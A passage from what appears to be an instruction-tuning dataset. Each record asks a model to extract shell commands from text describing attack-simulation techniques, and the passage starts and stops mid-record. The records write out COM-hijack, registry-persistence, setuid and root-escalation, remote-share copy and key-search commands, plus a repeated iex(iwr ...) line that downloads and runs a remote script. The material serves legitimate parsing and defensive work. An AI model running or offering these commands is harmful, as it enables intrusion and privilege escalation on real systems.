\\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\\\TreatAs\\\" /ve /T REG_SZ /d \\\"{00000001-0000-0000-0000-0000FEEDACDC}\\\" /f\\n\\nrundll32.exe -sta \\\"AtomicTest\\\" \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By leveraging PowerShell, you can hijack a COM reference through registry manipulation under the InprocServer32 key in HKCU and then execute the Class ID with rundll32.exe, as shown in this command block: \nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value \"#{dllpath}\"\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta #{clsid}'; The PowerShell script below demonstrates COM hijacking by executing a CLSID object:\n$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\"))\n$item = $o.Item()\n$item.Document.Application.ShellExecute(\"cmd.exe\",\"/c calc.exe\",\"C:\\\\windows\\\\system32\",$null,0)\n",
    "output": "{\"command_list\": [\"New-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}' -Value '#{clsid_description}'\\nNew-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Value \\\"#{dllpath}\\\"\\nNew-ItemProperty -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \\\"String\\\"\\nStart-Process -FilePath \\\"C:\\\\Windows\\\\System32\\\\RUNDLL32.EXE\\\" -ArgumentList '-sta #{clsid}'\", \"$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(\\\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\\\"))\\n$item = $o.Item()\\n$item.Document.Application.ShellExecute(\\\"cmd.exe\\\",\\\"/c calc.exe\\\",\\\"C:\\\\windows\\\\system32\\\",$null,0)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    NetWire persists by creating its registry key and adding itself to auto-run, which can be achieved with the following command: reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v NetWire /t REG_SZ  /d \"C:\\Users\\admin\\AppData\\Roaming\\Install\\Host.exe\" /f\nreg add HKCU\\SOFTWARE\\NetWire /v HostId /t REG_SZ /d HostId-kai6Ci /f\nreg add HKCU\\SOFTWARE\\NetWire /v \"Install Date\" /t REG_SZ /d \"2021-08-30 07:17:27\" /f; The malware Ursnif downloads supplementary modules from its command-and-control server and persists them in the registry via the command: reg add HKCU\\Software\\AppDataLow\\Software\\Microsoft\\3A861D62-51E0-15700F2219A4 /v comsxRes /t REG_BINARY  /d 72656463616e617279 /f.",
    "output": "{\"command_list\": [\"reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v NetWire /t REG_SZ  /d \\\"C:\\\\Users\\\\admin\\\\AppData\\\\Roaming\\\\Install\\\\Host.exe\\\" /f\\nreg add HKCU\\\\SOFTWARE\\\\NetWire /v HostId /t REG_SZ /d HostId-kai6Ci /f\\nreg add HKCU\\\\SOFTWARE\\\\NetWire /v \\\"Install Date\\\" /t REG_SZ /d \\\"2021-08-30 07:17:27\\\" /f\\n\", \"reg add HKCU\\\\Software\\\\AppDataLow\\\\Software\\\\Microsoft\\\\3A861D62-51E0-15700F2219A4 /v comsxRes /t REG_BINARY  /d 72656463616e617279 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To grant root access to either the current user or a new user, run the following command: dsenableroot #current user\ndsenableroot -u art-tester -p art-tester -r art-root #new user; The specified user will be granted admin privileges by executing this command: dseditgroup -o edit -a art-user -t user admin",
    "output": "{\"command_list\": [\"dsenableroot #current user\\ndsenableroot -u art-tester -p art-tester -r art-root #new user\", \"dseditgroup -o edit -a art-user -t user admin\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The binary can be given the capability to modify UID without root ownership by executing these commands: cp #{payload} /tmp/cap.c\nmake /tmp/cap\nsudo setcap cap_setuid=ep /tmp/cap\n/tmp/cap\n; This test provides UID-setting capability to a file by executing these commands: touch #{file_to_setcap}\nsudo setcap cap_setuid=ep #{file_to_setcap}\n",
    "output": "{\"command_list\": [\"cp #{payload} /tmp/cap.c\\nmake /tmp/cap\\nsudo setcap cap_setuid=ep /tmp/cap\\n/tmp/cap\\n\", \"touch #{file_to_setcap}\\nsudo setcap cap_setuid=ep #{file_to_setcap}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy a sensitive file from the C$ share of another computer on the LAN, use the following PowerShell command: copy-item -Path \"\\\\#{remote}\\C$\\#{share_file}\" -Destination \"$Env:TEMP\\#{local_file}\"; To locate private keys on a Windows system, particularly those with extensions like .key, .pgp, or .gpg, use the following command: dir c:\\ /b /s .key | findstr /e .key",
    "output": "{\"command_list\": [\"copy-item -Path \\\"\\\\\\\\#{remote}\\\\C$\\\\#{share_file}\\\" -Destination \\\"$Env:TEMP\\\\#{local_file}\\\"\", \"dir c:\\\\ /b /s .key | findstr /e .key\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Smart card authentication can be enforced by updating the registry via the following command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v scforceoption /t REG_DWORD /d 1 /f; The system can be configured to require a BitLocker PIN during Pre-boot authentication via the command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseAdvancedStartup /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v scforceoption /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v UseAdvancedStartup /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 